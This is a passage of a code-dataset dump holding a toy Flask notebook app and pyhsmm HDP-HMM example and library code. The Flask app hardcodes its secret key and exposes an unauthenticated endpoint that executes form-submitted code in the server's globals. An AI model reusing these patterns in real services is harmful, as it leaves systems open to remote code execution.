20.899999618530273,\n \"blob_id\": \"c3dfcb81e8f6d9ba1770cb640998b684a116effa\",\n \"content_id\": \"9cf8813ffb49569adfd6075fc480af3bc4373bbd\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 219,\n \"license_type\": \"no_license\",\n \"max_line_length\": 50,\n \"num_lines\": 10,\n \"path\": \"/app/__init__.py\",\n \"repo_name\": \"irina-goltsman/pseudo-jupyter\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nimport flask\\nimport logging\\n\\napp = flask.Flask(__name__)\\napp.config['SECRET_KEY'] = 'dskjgdskfjghdskjfhdfg'\\n\\n# create logger instance\\nlogger = logging.getLogger(__name__)\\nlogger.setLevel('INFO')\\n\"\n },\n {\n \"alpha_fraction\": 0.6270963549613953,\n \"alphanum_fraction\": 0.6307135820388794,\n \"avg_line_length\": 28.52427101135254,\n \"blob_id\": \"f168c72a1770f77497b35cd59e2fb4bfaed4bb8a\",\n \"content_id\": \"3de89331bd6186b0ce420fdcfa7355d9b81c7ea9\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3041,\n \"license_type\": \"no_license\",\n \"max_line_length\": 75,\n \"num_lines\": 103,\n \"path\": \"/app/views.py\",\n \"repo_name\": \"irina-goltsman/pseudo-jupyter\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nimport os\\nimport flask\\n\\nfrom app import ipynb\\nfrom app import app, logger\\n\\n# global variables to store the current state of our notebook\\nINPUTS = ['print(\\\"Type your code snippet here\\\")']\\nOUTPUTS = ['']\\nEXECUTE_COUNTERS = [0]\\nCURRENT_EXECUTE_COUNT = 0\\n\\n\\n@app.route('/favicon.ico')\\ndef favicon():\\n \\\"\\\"\\\"Handles browser's request for favicon\\\"\\\"\\\"\\n return flask.send_from_directory(\\n os.path.join(app.root_path, 'static'),\\n 'favicon.ico'\\n )\\n\\n\\n@app.route('/', methods=['GET'])\\ndef get():\\n \\\"\\\"\\\"This triggers when you first open the site with your browser\\\"\\\"\\\"\\n assert len(INPUTS) == len(OUTPUTS)\\n return ipynb.render_notebook(INPUTS, OUTPUTS, EXECUTE_COUNTERS)\\n\\n\\n@app.route('/execute_cell/<cell_id>', methods=['POST'])\\ndef execute(cell_id=None):\\n \\\"\\\"\\\"Gets piece of code from cell_id and executes it\\\"\\\"\\\"\\n try:\\n cell_id = int(cell_id)\\n except ValueError as e:\\n logger.warning(e)\\n return flask.redirect('/')\\n\\n global CURRENT_EXECUTE_COUNT\\n try:\\n CURRENT_EXECUTE_COUNT += 1\\n EXECUTE_COUNTERS[cell_id] = CURRENT_EXECUTE_COUNT\\n\\n INPUTS[cell_id] = flask.request.form['input{}'.format(cell_id)]\\n result = ipynb.execute_snippet(INPUTS[cell_id], globals())\\n except Exception as e:\\n # anything could happen inside, even `exit()` call\\n result = str(e)\\n\\n OUTPUTS[cell_id] = result\\n return flask.redirect('/')\\n\\n\\n@app.route('/add_cell', methods=['POST'])\\ndef add_cell():\\n \\\"\\\"\\\"Appends empty cell data to the end\\\"\\\"\\\"\\n INPUTS.append('')\\n OUTPUTS.append('')\\n EXECUTE_COUNTERS.append(0)\\n return flask.redirect('/')\\n\\n\\n@app.route('/remove_cell/<cell_id>', methods=['POST'])\\ndef remove_cell(cell_id=0):\\n \\\"\\\"\\\"Removes a cell by number\\\"\\\"\\\"\\n try:\\n cell_id = int(cell_id)\\n if len(INPUTS) < 2:\\n raise ValueError('Cannot remove the last cell')\\n if cell_id < 0 or cell_id >= len(INPUTS):\\n raise ValueError('Bad cell id')\\n except ValueError as e:\\n # do not change internal info\\n logger.warning(e)\\n return flask.redirect('/')\\n\\n # remove related data\\n INPUTS.pop(cell_id)\\n OUTPUTS.pop(cell_id)\\n EXECUTE_COUNTERS.pop(cell_id)\\n return flask.redirect('/')\\n\\n\\n@app.route('/ipynb', methods=['GET', 'POST'])\\ndef ipynb_handler():\\n \\\"\\\"\\\"\\n Imports/exports notebook data in .ipynb format (a.k.a Jupyter Notebook)\\n Docs: https://nbformat.readthedocs.io/en/latest/format_description.html\\n \\\"\\\"\\\"\\n global INPUTS, OUTPUTS\\n if flask.request.method == 'GET':\\n # return json representation of the notebook here\\n return ipynb.export(INPUTS, OUTPUTS)\\n elif flask.request.method == 'POST':\\n # update internal data\\n imported = ipynb.import_from_json(flask.request.get_json())\\n # we can return None if json is not a valid ipynb\\n if imported:\\n INPUTS, OUTPUTS = imported\\n # common practice for POST/PUT is returning empty json\\n # when everything is 200 OK\\n return flask.jsonify({})\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":2,"string":"2"}}},{"rowIdx":2978370,"cells":{"repo_name":{"kind":"string","value":"RyoOzaki/pyhsmm"},"repo_url":{"kind":"string","value":"https://github.com/RyoOzaki/pyhsmm"},"snapshot_id":{"kind":"string","value":"f648c8b0ef5e05889f08ae0902a8daa4f17057b2"},"revision_id":{"kind":"string","value":"4cb540f985881dab04aa8e2991318ffbc9d2b035"},"directory_id":{"kind":"string","value":"d35c492b68fdf72c4add2e707ad454e5ddff31d2"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-07-11T05:23:45.019680","string":"2021-07-11T05:23:45.019680"},"revision_date":{"kind":"timestamp","value":"2020-11-26T11:36:40","string":"2020-11-26T11:36:40"},"committer_date":{"kind":"timestamp","value":"2020-11-26T11:36:40","string":"2020-11-26T11:36:40"},"github_id":{"kind":"number","value":218244377,"string":"218,244,377"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":1,"string":"1"},"gha_license_id":{"kind":"string","value":"MIT"},"gha_created_at":{"kind":"timestamp","value":"2019-10-29T08:59:14","string":"2019-10-29T08:59:14"},"gha_updated_at":{"kind":"timestamp","value":"2019-10-29T01:06:10","string":"2019-10-29T01:06:10"},"gha_pushed_at":{"kind":"timestamp","value":"2019-07-31T17:11:32","string":"2019-07-31T17:11:32"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6650359034538269,"alphanum_fraction":0.6819961071014404,"avg_line_length":32.315216064453125,"blob_id":"e71165a9a80d30e897872d16bef5d5ce2da94aab","content_id":"6ed561c22c9cdd01343031d1e1d7cdfa425d88bd","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3066,"license_type":"permissive","max_line_length":88,"num_lines":92,"path":"/examples/hmm.py","repo_name":"RyoOzaki/pyhsmm","src_encoding":"UTF-8","text":"from __future__ import division\nfrom builtins import range\nimport numpy as np\nnp.seterr(divide='ignore') # these warnings are usually harmless for this code\nnp.random.seed(0)\n\nfrom matplotlib import pyplot as plt\nimport matplotlib\nimport os\nmatplotlib.rcParams['font.size'] = 8\n\nimport pyhsmm\nfrom pyhsmm.util.text import progprint_xrange\n\nprint('''\nThis demo shows how HDP-HMMs can fail when the underlying data has state\npersistence without some kind of temporal regularization (in the form of a\nsticky bias or duration modeling): without setting the number of states to be\nthe correct number a priori, lots of extra states can be intsantiated.\n\nBUT the effect is much more relevant on real data (when the data doesn't exactly\nfit the model). Maybe this demo should use multinomial emissions...\n''')\n###############\n# load data #\n###############\n\ndata = np.loadtxt(os.path.join(os.path.dirname(__file__),'example-data.txt'))[:2500]\nT = data.shape[0]\n\n#########################\n# posterior inference #\n#########################\n\n# Set the weak limit truncation level\nNmax = 25\n\n# and some hyperparameters\nobs_dim = data.shape[1]\nobs_hypparams = {'mu_0':np.zeros(obs_dim),\n 'sigma_0':np.eye(obs_dim),\n 'kappa_0':0.25,\n 'nu_0':obs_dim+2}\n\n### HDP-HMM without the sticky bias\nobs_distns = [pyhsmm.distributions.Gaussian(**obs_hypparams) for state in range(Nmax)]\nposteriormodel = pyhsmm.models.WeakLimitHDPHMM(alpha=6.,gamma=6.,\n init_state_concentration=1.,\n obs_distns=obs_distns)\nposteriormodel.add_data(data)\n\nfor idx in progprint_xrange(100):\n posteriormodel.resample_model()\n\nposteriormodel.plot()\nplt.gcf().suptitle('HDP-HMM sampled model after 100 iterations')\n\n### HDP-HMM with \"sticky\" initialization\nobs_distns = [pyhsmm.distributions.Gaussian(**obs_hypparams) for state in range(Nmax)]\nposteriormodel = pyhsmm.models.WeakLimitHDPHMM(alpha=6.,gamma=6.,\n init_state_concentration=1.,\n obs_distns=obs_distns)\n\n# Start with a \"sticky\" state sequence\nz_init = np.random.randint(0, Nmax, size=(T//5)).repeat(5)\nposteriormodel.add_data(data, stateseq=z_init)\n\n# Initialize the parameters of the model, holding the stateseq fixed\nfor _ in progprint_xrange(10):\n posteriormodel.resample_parameters()\n\nfor idx in progprint_xrange(100):\n posteriormodel.resample_model()\n\nposteriormodel.plot()\nplt.gcf().suptitle('HDP-HMM (sticky initialization) sampled model after 100 iterations')\n\n### Sticky-HDP-HMM\n\nobs_distns = [pyhsmm.distributions.Gaussian(**obs_hypparams) for state in range(Nmax)]\nposteriormodel = pyhsmm.models.WeakLimitStickyHDPHMM(\n kappa=50.,alpha=6.,gamma=6.,init_state_concentration=1.,\n obs_distns=obs_distns)\nposteriormodel.add_data(data)\n\nfor idx in progprint_xrange(100):\n posteriormodel.resample_model()\n\nposteriormodel.plot()\nplt.gcf().suptitle('Sticky HDP-HMM sampled model after 100 iterations')\n\nplt.show()\n\n"},{"alpha_fraction":0.8101266026496887,"alphanum_fraction":0.8101266026496887,"avg_line_length":25.33333396911621,"blob_id":"d92b8e4587ecafb5aa2c9ec057f8e08242c647bb","content_id":"6e2a55104868129cf12e2a1024455fcabd0a0356","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":158,"license_type":"permissive","max_line_length":61,"num_lines":6,"path":"/pyhsmm/__init__.py","repo_name":"RyoOzaki/pyhsmm","src_encoding":"UTF-8","text":"# __all__ = something\nimport pyhsmm\nimport pyhsmm.models\nimport pyhsmm.basic\nimport pyhsmm.basic.distributions as distributions # shortcut\nimport pyhsmm.util\n"},{"alpha_fraction":0.6669965386390686,"alphanum_fraction":0.6679861545562744,"avg_line_length":23.047618865966797,"blob_id":"2e4628bf19ff9c74f913786d0be1fafafcc3183d","content_id":"fb22529d75e0aa407bccd89d1f59097a0a8c4706","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2021,"license_type":"permissive","max_line_length":91,"num_lines":84,"path":"/pyhsmm/basic/models.py","repo_name":"RyoOzaki/pyhsmm","src_encoding":"UTF-8","text":"# These classes make aliases of class members and properties so as to make\n# pybasicbayes mixture models look more like pyhsmm models. When comparing\n# H(S)MM model fits to pybasicbayes mixture model fits, it's easier to write one\n# code path by using these models.\n\nfrom copy import deepcopy\n\nimport pybasicbayes\nfrom pyhsmm.util.general import rle\n\n\nclass _Labels(pybasicbayes.models.Labels):\n @property\n def T(self):\n return self.N\n\n @property\n def stateseq(self):\n return self.z\n\n @stateseq.setter\n def stateseq(self,stateseq):\n self.z = stateseq\n\n @property\n def stateseqs_norep(self):\n return rle(self.z)[0]\n\n @property\n def durations(self):\n return rle(self.z)[1]\n\n\nclass _MixturePropertiesMixin(object):\n _labels_class = _Labels\n\n @property\n def num_states(self):\n return len(self.obs_distns)\n\n @property\n def states_list(self):\n return self.labels_list\n\n @property\n def stateseqs(self):\n return [s.stateseq for s in self.states_list]\n\n @property\n def stateseqs_norep(self):\n return [s.stateseq_norep for s in self.states_list]\n\n @property\n def durations(self):\n return [s.durations for s in self.states_list]\n\n @property\n def obs_distns(self):\n return self.components\n\n @obs_distns.setter\n def obs_distns(self,distns):\n self.components = distns\n\n def predict(self,seed_data,timesteps,**kwargs):\n # NOTE: seed_data doesn't matter!\n return self.generate(timesteps,keep=False)\n\n @classmethod\n def from_pbb_mixture(cls,mixture):\n self = cls(\n weights_obj=deepcopy(mixture.weights),\n components=deepcopy(mixture.components))\n for l in mixture.labels_list:\n self.add_data(l.data,z=l.z)\n return self\n\n\nclass Mixture(_MixturePropertiesMixin,pybasicbayes.models.Mixture):\n pass\n\n\nclass MixtureDistribution(_MixturePropertiesMixin,pybasicbayes.models.MixtureDistribution):\n pass\n\n"},{"alpha_fraction":0.8026315569877625,"alphanum_fraction":0.8026315569877625,"avg_line_length":24.33333396911621,"blob_id":"70561b9755358423fa497f1dcb8e15cc46edcc14","content_id":"bc4f9b7a5129e896dcb8e796b46a2d4c917c061f","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":76,"license_type":"permissive","max_line_length":27,"num_lines":3,"path":"/pyhsmm/basic/__init__.py","repo_name":"RyoOzaki/pyhsmm","src_encoding":"UTF-8","text":"from . import models\nfrom . import distributions\nfrom . import abstractions\n"},{"alpha_fraction":0.6142857074737549,"alphanum_fraction":0.6458333134651184,"avg_line_length":29,"blob_id":"0e3617de122203cb87b97412da476f3e3c8436e8","content_id":"bd25871af1ee81938c78beb9a25c107a9cab5bdc","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1680,"license_type":"permissive","max_line_length":101,"num_lines":56,"path":"/examples/concentration-resampling.py","repo_name":"RyoOzaki/pyhsmm","src_encoding":"UTF-8","text":"from __future__ import division\nimport numpy as np\nnp.seterr(divide='ignore') # these warnings are usually harmless for this code\nfrom matplotlib import pyplot as plt\nimport os\nimport scipy.stats as stats\n\nimport pyhsmm\nfrom pyhsmm.util.text import progprint_xrange\n\n###############\n# load data #\n###############\n\nT = 1000\ndata = np.loadtxt(os.path.join(os.path.dirname(__file__),'example-data.txt'))[:T]\n\n#########################\n# posterior inference #\n#########################\n\nNmax = 20\nobs_dim = data.shape[1]\nobs_hypparams = {'mu_0':np.zeros(obs_dim),\n 'sigma_0':np.eye(obs_dim),\n 'kappa_0':0.25,\n 'nu_0':obs_dim+2}\ndur_hypparams = {'alpha_0':2*30,\n 'beta_0':2}\n\nobs_distns = [pyhsmm.distributions.Gaussian(**obs_hypparams) for state in range(Nmax)]\ndur_distns = [pyhsmm.distributions.PoissonDuration(**dur_hypparams) for state in range(Nmax)]\n\nposteriormodel = pyhsmm.models.WeakLimitHDPHSMM(\n # NOTE: instead of passing in alpha_0 and gamma_0, we pass in parameters\n # for priors over those concentration parameters\n alpha_a_0=1.,alpha_b_0=1./4,\n gamma_a_0=1.,gamma_b_0=1./4,\n init_state_concentration=6.,\n obs_distns=obs_distns,\n dur_distns=dur_distns)\nposteriormodel.add_data(data,trunc=70)\n\nfor idx in progprint_xrange(100):\n posteriormodel.resample_model()\n\nplt.figure()\nposteriormodel.plot()\nplt.gcf().suptitle('Sampled after 100 iterations')\n\nplt.figure()\nt = np.linspace(0.01,30,1000)\nplt.plot(t,stats.gamma.pdf(t,1.,scale=4.)) # NOTE: numpy/scipy scale is inverted compared to my scale\nplt.title('Prior on concentration parameters')\n\nplt.show()\n"},{"alpha_fraction":0.5487164855003357,"alphanum_fraction":0.5570840835571289,"avg_line_length":35.5336799621582,"blob_id":"c80361d8dd0a836322ead23b4e38f3de590b7492","content_id":"19e79b1c766866f3af4691620c0dc38364812621","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":7051,"license_type":"permissive","max_line_length":95,"num_lines":193,"path":"/pyhsmm/internals/hsmm_messages.h","repo_name":"RyoOzaki/pyhsmm","src_encoding":"UTF-8","text":"#ifndef HSMM_H\n#define HSMM_H\n\n#include <Eigen/Core>\n#include <iostream> // cout, endl\n#include <algorithm> // min\n\n#include \"util.h\"\n#include \"nptypes.h\"\n\nnamespace hsmm\n{\n using namespace std;\n using namespace Eigen;\n using namespace nptypes;\n\n template <typename Type>\n void messages_backwards_log(\n int M, int T, Type *A, Type *aBl, Type *aDl, Type *aDsl,\n Type *betal, Type *betastarl, int right_censoring, int trunc)\n {\n NPMatrix<Type> eA(A,M,M);\n NPArray<Type> eaBl(aBl,T,M);\n NPArray<Type> eaDl(aDl,T,M);\n NPArray<Type> eaDsl(aDsl,T,M);\n\n NPArray<Type> ebetal(betal,T,M);\n NPArray<Type> ebetastarl(betastarl,T,M);\n\n#ifdef HMM_TEMPS_ON_HEAP\n Array<Type,1,Dynamic> sumsofar(M);\n Array<Type,1,Dynamic> result(M);\n Array<Type,1,Dynamic> maxes(M);\n#else\n Type sumsofar_buf[M] __attribute__((aligned(16)));\n NPRowVectorArray<Type> sumsofar(sumsofar_buf,M);\n Type result_buf[M] __attribute__((aligned(16)));\n NPRowVectorArray<Type> result(result_buf,M);\n Type maxes_buf[M] __attribute__((aligned(16)));\n NPRowVectorArray<Type> maxes(maxes_buf,M);\n#endif\n\n Type cmax;\n ebetal.row(T-1).setZero();\n for(int t=T-1; t>=0; t--) {\n sumsofar.setZero();\n ebetastarl.row(t).setConstant(-1.0*numeric_limits<Type>::infinity());\n for(int tau=0; tau < min(trunc,T-t); tau++) {\n sumsofar += eaBl.row(t+tau);\n result = ebetal.row(t+tau) + sumsofar + eaDl.row(tau);\n maxes = ebetastarl.row(t).cwiseMax(result);\n ebetastarl.row(t) =\n ((ebetastarl.row(t) - maxes).exp() + (result - maxes).exp()).log() + maxes;\n }\n if (right_censoring && T-t-1 < trunc) {\n result = eaBl.block(t,0,T-t,M).colwise().sum() + eaDsl.row(T-1-t);\n maxes = ebetastarl.row(t).cwiseMax(result);\n ebetastarl.row(t) =\n ((ebetastarl.row(t) - maxes).exp() + (result - maxes).exp()).log() + maxes;\n }\n for(int i=0; i<M; i++) {\n if (ebetastarl(t,i) != ebetastarl(t,i)) {\n ebetastarl(t,i) = -1.0*numeric_limits<Type>::infinity();\n }\n }\n if (likely(t > 0)) {\n cmax = ebetastarl.row(t).maxCoeff();\n ebetal.row(t-1) = (eA * (ebetastarl.row(t) - cmax).exp().matrix().transpose()\n ).array().log() + cmax;\n for(int i=0; i<M; i++) {\n if (ebetal(t-1,i) != ebetal(t-1,i)) {\n ebetal(t-1,i) = -1.0*numeric_limits<Type>::infinity();\n }\n }\n }\n }\n }\n\n template <typename Type>\n void messages_forwards_log(\n int M, int T, Type *A, Type *aBl, Type *aDl, Type *aDsl, Type *pil,\n Type *alphal, Type *alphastarl)\n {\n // TODO trunc, censoring\n\n NPMatrix<Type> eA(A,M,M);\n NPArray<Type> eaBl(aBl,T,M);\n NPArray<Type> eaDl(aDl,T,M);\n NPArray<Type> eaDsl(aDsl,T,M);\n NPRowVectorArray<Type> epil(pil,M);\n\n NPArray<Type> ealphal(alphal,T,M);\n NPArray<Type> ealphastarl(alphastarl,T,M);\n\n#ifdef HMM_TEMPS_ON_HEAP\n Array<Type,1,Dynamic> sumsofar(M);\n Array<Type,1,Dynamic> result(M);\n Array<Type,1,Dynamic> maxes(M);\n#else\n Type sumsofar_buf[M] __attribute__((aligned(16)));\n NPRowVectorArray<Type> sumsofar(sumsofar_buf,M);\n Type result_buf[M] __attribute__((aligned(16)));\n NPRowVectorArray<Type> result(result_buf,M);\n Type maxes_buf[M] __attribute__((aligned(16)));\n NPRowVectorArray<Type> maxes(maxes_buf,M);\n#endif\n\n // TODO\n\n }\n\n template <typename FloatType, typename IntType>\n void sample_forwards_log(\n int M, int T, FloatType *A, FloatType *pi0, FloatType *caBl, FloatType *aDl,\n FloatType *betal, FloatType *betastarl, IntType *stateseq, FloatType *randseq)\n {\n NPArray<FloatType> eA(A,M,M);\n NPArray<FloatType> ecaBl(caBl,T+1,M);\n NPArray<FloatType> eaDl(aDl,T,M);\n NPArray<FloatType> ebetal(betal,T,M);\n NPArray<FloatType> ebetastarl(betastarl,T,M);\n NPVectorArray<IntType> estateseq(stateseq,T);\n\n#ifdef HMM_TEMPS_ON_HEAP\n Array<FloatType,1,Dynamic> logdomain(M);\n Array<FloatType,1,Dynamic> nextstate_distr(M);\n#else\n FloatType logdomain_buf[M] __attribute__((aligned(16)));\n NPRowVectorArray<FloatType> logdomain(logdomain_buf,M);\n FloatType nextstate_distr_buf[M] __attribute__((aligned(16)));\n NPRowVectorArray<FloatType> nextstate_distr(nextstate_distr_buf,M);\n#endif\n\n int t = 0, dur, randseq_idx=0;\n IntType state;\n FloatType durprob, p_d_prior, p_d;\n\n nextstate_distr = NPRowVectorArray<FloatType>(pi0,M);\n while (t < T) {\n // use the messages to form the posterior over states\n logdomain = ebetastarl.row(t) - ebetastarl.row(t).maxCoeff();\n nextstate_distr *= logdomain.exp();\n if ((nextstate_distr == 0.).all()) {\n cout << \"Warning: all-zero posterior state belief, following likelihood\"\n << endl;\n nextstate_distr = logdomain.exp();\n }\n\n // sample from nextstate_distr\n state = util::sample_discrete(M,nextstate_distr.data(),randseq[randseq_idx++]);\n\n // sample from duration pmf\n durprob = randseq[randseq_idx++];\n for(dur=0; durprob > 0. && t+dur < T; dur++) {\n p_d_prior = exp(eaDl(dur,state));\n if (0.0 == p_d_prior) {\n continue;\n }\n p_d = p_d_prior * exp(ecaBl(t+dur+1,state) - ecaBl(t,state)\n + ebetal(t+dur,state) - ebetastarl(t,state));\n durprob -= p_d;\n }\n // NOTE: if t+dur == T, the duration is censored; it will be fixed up in Python\n\n // set the output\n estateseq.segment(t,dur).setConstant(state);\n t += dur;\n nextstate_distr = eA.row(state);\n }\n }\n}\n\n// NOTE: this class exists for cyhton binding convenience\n\ntemplate <typename FloatType, typename IntType = int32_t>\nclass hsmmc\n{\n public:\n\n static void messages_backwards_log(\n int M, int T, FloatType *A, FloatType *aBl, FloatType *aDl, FloatType *aDsl,\n FloatType *betal, FloatType *betastarl, bool right_censoring, int trunc)\n { hsmm::messages_backwards_log(M,T,A,aBl,aDl,aDsl,betal,betastarl,\n right_censoring,trunc); }\n\n static void sample_forwards_log(\n int M, int T, FloatType *A, FloatType *pi0, FloatType *aBl, FloatType *aDl,\n FloatType *betal, FloatType *betastarl,\n IntType *stateseq, FloatType *randseq)\n { hsmm::sample_forwards_log(M,T,A,pi0,aBl,aDl,betal,betastarl,stateseq,randseq); }\n};\n\n#endif\n"}],"string":"[\n {\n \"alpha_fraction\": 0.6650359034538269,\n \"alphanum_fraction\": 0.6819961071014404,\n \"avg_line_length\": 32.315216064453125,\n \"blob_id\": \"e71165a9a80d30e897872d16bef5d5ce2da94aab\",\n \"content_id\": \"6ed561c22c9cdd01343031d1e1d7cdfa425d88bd\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3066,\n \"license_type\": \"permissive\",\n \"max_line_length\": 88,\n \"num_lines\": 92,\n \"path\": \"/examples/hmm.py\",\n \"repo_name\": \"RyoOzaki/pyhsmm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from __future__ import division\\nfrom builtins import range\\nimport numpy as np\\nnp.seterr(divide='ignore') # these warnings are usually harmless for this code\\nnp.random.seed(0)\\n\\nfrom matplotlib import pyplot as plt\\nimport matplotlib\\nimport os\\nmatplotlib.rcParams['font.size'] = 8\\n\\nimport pyhsmm\\nfrom pyhsmm.util.text import progprint_xrange\\n\\nprint('''\\nThis demo shows how HDP-HMMs can fail when the underlying data has state\\npersistence without some kind of temporal regularization (in the form of a\\nsticky bias or duration modeling): without setting the number of states to be\\nthe correct number a priori, lots of extra states can be intsantiated.\\n\\nBUT the effect is much more relevant on real data (when the data doesn't exactly\\nfit the model). Maybe this demo should use multinomial emissions...\\n''')\\n###############\\n# load data #\\n###############\\n\\ndata = np.loadtxt(os.path.join(os.path.dirname(__file__),'example-data.txt'))[:2500]\\nT = data.shape[0]\\n\\n#########################\\n# posterior inference #\\n#########################\\n\\n# Set the weak limit truncation level\\nNmax = 25\\n\\n# and some hyperparameters\\nobs_dim = data.shape[1]\\nobs_hypparams = {'mu_0':np.zeros(obs_dim),\\n 'sigma_0':np.eye(obs_dim),\\n 'kappa_0':0.25,\\n 'nu_0':obs_dim+2}\\n\\n### HDP-HMM without the sticky bias\\nobs_distns = [pyhsmm.distributions.Gaussian(**obs_hypparams) for state in range(Nmax)]\\nposteriormodel = pyhsmm.models.WeakLimitHDPHMM(alpha=6.,gamma=6.,\\n init_state_concentration=1.,\\n obs_distns=obs_distns)\\nposteriormodel.add_data(data)\\n\\nfor idx in progprint_xrange(100):\\n posteriormodel.resample_model()\\n\\nposteriormodel.plot()\\nplt.gcf().suptitle('HDP-HMM sampled model after 100 iterations')\\n\\n### HDP-HMM with \\\"sticky\\\" initialization\\nobs_distns = [pyhsmm.distributions.Gaussian(**obs_hypparams) for state in range(Nmax)]\\nposteriormodel = pyhsmm.models.WeakLimitHDPHMM(alpha=6.,gamma=6.,\\n init_state_concentration=1.,\\n obs_distns=obs_distns)\\n\\n# Start with a \\\"sticky\\\" state sequence\\nz_init = np.random.randint(0, Nmax, size=(T//5)).repeat(5)\\nposteriormodel.add_data(data, stateseq=z_init)\\n\\n# Initialize the parameters of the model, holding the stateseq fixed\\nfor _ in progprint_xrange(10):\\n posteriormodel.resample_parameters()\\n\\nfor idx in progprint_xrange(100):\\n posteriormodel.resample_model()\\n\\nposteriormodel.plot()\\nplt.gcf().suptitle('HDP-HMM (sticky initialization) sampled model after 100 iterations')\\n\\n### Sticky-HDP-HMM\\n\\nobs_distns = [pyhsmm.distributions.Gaussian(**obs_hypparams) for state in range(Nmax)]\\nposteriormodel = pyhsmm.models.WeakLimitStickyHDPHMM(\\n kappa=50.,alpha=6.,gamma=6.,init_state_concentration=1.,\\n obs_distns=obs_distns)\\nposteriormodel.add_data(data)\\n\\nfor idx in progprint_xrange(100):\\n posteriormodel.resample_model()\\n\\nposteriormodel.plot()\\nplt.gcf().suptitle('Sticky HDP-HMM sampled model after 100 iterations')\\n\\nplt.show()\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.8101266026496887,\n \"alphanum_fraction\": 0.8101266026496887,\n \"avg_line_length\": 25.33333396911621,\n \"blob_id\": \"d92b8e4587ecafb5aa2c9ec057f8e08242c647bb\",\n \"content_id\": \"6e2a55104868129cf12e2a1024455fcabd0a0356\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 158,\n \"license_type\": \"permissive\",\n \"max_line_length\": 61,\n \"num_lines\": 6,\n \"path\": \"/pyhsmm/__init__.py\",\n \"repo_name\": \"RyoOzaki/pyhsmm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# __all__ = something\\nimport pyhsmm\\nimport pyhsmm.models\\nimport pyhsmm.basic\\nimport pyhsmm.basic.distributions as distributions # shortcut\\nimport pyhsmm.util\\n\"\n },\n {\n \"alpha_fraction\": 0.6669965386390686,\n \"alphanum_fraction\": 0.6679861545562744,\n \"avg_line_length\": 23.047618865966797,\n \"blob_id\": \"2e4628bf19ff9c74f913786d0be1fafafcc3183d\",\n \"content_id\": \"fb22529d75e0aa407bccd89d1f59097a0a8c4706\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2021,\n \"license_type\": \"permissive\",\n \"max_line_length\": 91,\n \"num_lines\": 84,\n \"path\": \"/pyhsmm/basic/models.py\",\n \"repo_name\": \"RyoOzaki/pyhsmm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# These classes make aliases of class members and properties so as to make\\n# pybasicbayes mixture models look more like pyhsmm models. When comparing\\n# H(S)MM model fits to pybasicbayes mixture model fits, it's easier to write one\\n# code path by using these models.\\n\\nfrom copy import deepcopy\\n\\nimport pybasicbayes\\nfrom pyhsmm.util.general import rle\\n\\n\\nclass _Labels(pybasicbayes.models.Labels):\\n @property\\n def T(self):\\n return self.N\\n\\n @property\\n def stateseq(self):\\n return self.z\\n\\n @stateseq.setter\\n def stateseq(self,stateseq):\\n self.z = stateseq\\n\\n @property\\n def stateseqs_norep(self):\\n return rle(self.z)[0]\\n\\n @property\\n def durations(self):\\n return rle(self.z)[1]\\n\\n\\nclass _MixturePropertiesMixin(object):\\n _labels_class = _Labels\\n\\n @property\\n def num_states(self):\\n return len(self.obs_distns)\\n\\n @property\\n def states_list(self):\\n return self.labels_list\\n\\n @property\\n def stateseqs(self):\\n return [s.stateseq for s in self.states_list]\\n\\n @property\\n def stateseqs_norep(self):\\n return [s.stateseq_norep for s in self.states_list]\\n\\n @property\\n def durations(self):\\n return [s.durations for s in self.states_list]\\n\\n @property\\n def obs_distns(self):\\n return self.components\\n\\n @obs_distns.setter\\n def obs_distns(self,distns):\\n self.components = distns\\n\\n def predict(self,seed_data,timesteps,**kwargs):\\n # NOTE: seed_data doesn't matter!\\n return self.generate(timesteps,keep=False)\\n\\n @classmethod\\n def from_pbb_mixture(cls,mixture):\\n self = cls(\\n weights_obj=deepcopy(mixture.weights),\\n components=deepcopy(mixture.components))\\n for l in mixture.labels_list:\\n self.add_data(l.data,z=l.z)\\n return self\\n\\n\\nclass Mixture(_MixturePropertiesMixin,pybasicbayes.models.Mixture):\\n pass\\n\\n\\nclass MixtureDistribution(_MixturePropertiesMixin,pybasicbayes.models.MixtureDistribution):\\n pass\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.8026315569877625,\n \"alphanum_fraction\": 0.8026315569877625,\n \"avg_line_length\": 24.33333396911621,\n \"blob_id\": \"70561b9755358423fa497f1dcb8e15cc46edcc14\",\n \"content_id\": \"bc4f9b7a5129e896dcb8e796b46a2d4c917c061f\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 76,\n \"license_type\": \"permissive\",\n \"max_line_length\": 27,\n \"num_lines\": 3,\n \"path\": 